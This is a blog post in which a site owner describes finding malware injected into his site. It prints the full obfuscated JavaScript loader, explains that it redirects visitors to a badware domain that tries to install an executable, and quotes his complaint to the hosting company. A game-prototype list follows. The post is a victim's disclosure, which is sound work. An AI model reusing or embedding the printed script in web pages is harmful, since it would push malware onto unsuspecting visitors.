Help needed – Part 2

First, I would like to thank you all for the precious help you gave me with your comments.

Finally, after hours spent dancing naked to the bone in the streets invoking for Manitu, and even more hours trying to explain the police why I was dancing naked, I found the problem.

Somewhere around the site there was this script

$="%6fp%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c1%2534)%2529;%2522;%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;ca%3d%22%2566u%256ect%2569on %2564cs%2528%2564%2573,e%2573){%2564s%253dun%2565sca%2570e%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cd%3d%22%253dst%252bSt%2572ing%252efro%256dCh%2561%2572Cod%2565%2528(t%256dp.c%2568a%25%22;cz%3d%22%2566unc%2574io%256e%2520%2563z%2528%2563z)%257bret%2575%2572n%2520c%2561%252bcb+%2563c%252bcd+%2563%2565+cz%253b};%22;st%3d%22%2573%2574%253d%2522%2524%253ds%2574;%2564%2563s%2528%2564%2561%252b%2564b%252b%2564c%252bd%2564+%2564%2565%252c%25310%2529;%2564w%2528s%2574%2529%253b%2573%2574%253d%2524;%2522;%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;ce%3d%2272Co%2564e%2541t%2528%2530)%255e%2528%25270x%2530%2530%2527+es)%2529%2529;}%257d%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;cb%3d%22%2528ds)%253bst%253dtm%2570%253d%2527%2527;for%2528%2569%253d0;%2569%253cds.l%256%22;cc%3d%225%256egt%2568;%2569+%252b)%257btmp%253dd%2573.sl%2569ce(%2569,i+%2531);s%2574%22;dz%3d%22%2566%2575nct%2569o%256e %2564w(t%2529{ca%253d%2527%252564%25256%2566c%252575m%2565n%252574%2525%2532e%252577%2572%2525%25369te%252528%2525%2532%2532%2527;c%2565%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572%252569%252570t%2525%25320l%2561n%252567%2575%2561%25256%2537e%25253d%25255c%252522jav%2561%2573c%2572%252569p%252574%25255c%252522%25253%2565%2527;cc%253d%2527%25253c%25255c%25252fs%252563rip%252574%25253e%2527;%2565v%2561%256c(un%2565s%2563ape%2528t))%257d;%22;%69%66 (d%6f%63u%6dent%2ecoo%6bi%65.in%64ex%4ff(%27r%665f%36%64s%27%29%3d%3d-1){%73c(%27rf%35%66%36%64%73%27,2,%37);e%76al%28%75%6eesc%61p%65(dz%2b%63z%2bo%70+st%29+%27dw(%64%7a+%63z($%2bst)%29;%27)}el%73e%7b%24%3d%27%27};functio%6e %73c%28cnm%2cv,e%64){v%61r %65x%64%3dnew Da%74e(%29;ex%64.s%65tD%61te%28ex%64.g%65%74Da%74%65()%2be%64%29%3bdo%63u%6den%74.c%6foki%65%3dc%6em%2b%20%27%3d%27 +e%73c%61pe%28v%29+%27;e%78pi%72%65s%3d%27+exd.t%6fGM%54%53%74ri%6e%67(%29%3b};";eval(unescape($));document.write($);

That once evaluated returns

This page redirects to http://ewbyuno.com/cgi-bin/in.cgi?p=grobin that sometimes tries to install a component called “dexplore.exe”, otherwise redirects to google.com

The funny thing is that when I googled for ewbyuno I found only two results

The domain is registered to Prokofyev Yaroslav, and the site is hosted on a server owned by SoftLayer Technologies Inc. This company even has a “page” on Wikipedia

On the same server there are 17 domains… and guess the names? ang2uno.com, bevjuno.com… owned of course by Prokofyev

So this company seems to have a server dedicated to badware diffusion. I emailed them this message:

Hello,
my name is Emanuele Feronato and I recently discovered that one of your servers is hosting domains called ang2uno.com, bevjuno.com, ewbyuno.com (and so on) that are distributing badware after someone injects in various blog and forums hidden javascripts to call your pages from remote servers, with iframes pointing at (as example) http://ewbyuno.com/ld/grb/

One of my sites, emanueleferonato.com, was a “victim” of this process and now google flags it as a site that may harm your computer.

I would like to know if you are informed about it and how do you think to manage this problem.

Obviuosly I am going to explain to google and stopbadware.org what happened because I don’t want my site to be flagged as badware when the threat comes from your servers.

About half of my traffic comes (came?) from Google and should it take too long to remove the badware flag I may consider legal actions.

Regards,
Emanuele Feronato

Let’s see what happens.

Now, I want to thank you for feedback and support and I apologize for any virus, trojan and badware you got from this site.

See you soon, I have some tutorials to write.

Obviously, now the site is clean.

Get the most popular Phaser 3 book

Through 202 pages, 32 source code examples and an Android Studio project you will learn how to build cross platform HTML5 games and create a complete game along the way.

Get the book

215 GAME PROTOTYPES EXPLAINED WITH SOURCE CODE
// 1+2=3
// 100 rounds
// 10000000
// 2 Cars
// 2048
// A Blocky Christmas
// A Jumping Block
// A Life of Logic
// Angry Birds
// Angry Birds Space
// Artillery
// Astro-PANIC!
// Avoider
// Back to Square One
// Ball Game
// Ball vs Ball
// Ball: Revamped
// Balloon Invasion
// BallPusher
// Ballz
// Bar Balance
// Bejeweled
// Biggification
// Block it
// Blockage
// Bloons
// Boids
// Bombuzal
// Boom Dots
// Bouncing Ball
// Bouncing Ball 2
// Bouncy Light
// BoxHead
// Breakout
// Bricks
// Bubble Chaos
// Bubbles 2
// Card Game
// Castle Ramble
// Chronotron
// Circle Chain
// Circle Path
// Circle Race
// Circular endless runner
// Cirplosion
// CLOCKS - The Game
// Color Hit
// Color Jump
// ColorFill
// Columns
// Concentration
// Crossy Road
// Crush the Castle
// Cube Jump
// CubesOut
// Dash N Blast
// Dashy Panda
// Deflection
// Diamond Digger Saga
// Don't touch the spikes
// Dots
// Down The Mountain
// Drag and Match
// Draw Game
// Drop Wizard
// DROP'd
// Dudeski
// Dungeon Raid
// Educational Game
// Elasticity
// Endless Runner
// Erase Box
// Eskiv
// Farm Heroes Saga
// Filler
// Flappy Bird
// Fling
// Flipping Legend
// Floaty Light
// Fuse Ballz
// GearTaker
// Gem Sweeper
// Globe
// Goat Rider
// Gold Miner
// Grindstone
// GuessNext
// Helicopter
// Hero Emblems
// Hero Slide
// Hexagonal Tiles
// HookPod
// Hop Hop Hop Underwater
// Horizontal Endless Runner
// Hundreds
// Hungry Hero
// Hurry it's Christmas
// InkTd
// Iromeku
// Jet Set Willy
// Jigsaw Game
// Knife Hit
// Knightfall
// Legends of Runeterra
// Lep's World
// Line Rider
// Lumines
// Magick
// MagOrMin
// Mass Attack
// Math Game
// Maze
// Meeblings
// Memdot
// Metro Siberia Underground
// Mike Dangers
// Mikey Hooks
// Nano War
// Nodes
// o:anquan
// One Button Game
// One Tap RPG
// Ononmin
// Pacco
// Perfect Square!
// Perfectionism
// Phyballs
// Pixel Purge
// PixelField
// Planet Revenge
// Plants Vs Zombies
// Platform
// Platform game
// Plus+Plus
// Pocket Snap
// Poker
// Pool
// Pop the Lock
// Pop to Save
// Poux
// Pudi
// Pumpkin Story
// Puppet Bird
// Pyramids of Ra
// qomp
// Quick Switch
// Racing
// Radical
// Rebuild Chile
// Renju
// Rise Above
// Risky Road
// Roguelike
// Roly Poly
// Run Around
// Rush Hour
// SameGame
// SamePhysics
// Save the Totem
// Security
// Serious Scramblers
// Shrink it
// Sling
// Slingy
// Snowflakes
// Sokoban
// Space Checkers
// Space is Key
// Spellfall
// Spinny Gun
// Splitter
// Spring Ninja
// Sproing
// Stabilize!
// Stack
// Stairs
// Stick Hero
// String Avoider
// Stringy
// Sudoku
// Super Mario Bros
// Surfingers
// Survival Horror
// Talesworth Adventure
// Tetris
// The Impossible Line
// The Moops - Combos of Joy
// The Next Arrow
// Threes
// Tic Tac Toe
// Timberman
// Tiny Wings
// Tipsy Tower
// Toony
// Totem Destroyer
// Tower Defense
// Trick Shot
// Tunnelball
// Turn
// Turnellio
// TwinSpin
// vvvvvv
// Warp Shift
// Way of an Idea
// Whack a Creep
// Wheel of Fortune
// Where's my Water
// Wish Upon a Star
// Word Game
// Wordle
// Worms
// Yanga
// Yeah Bunny
// Zhed
// zNumbers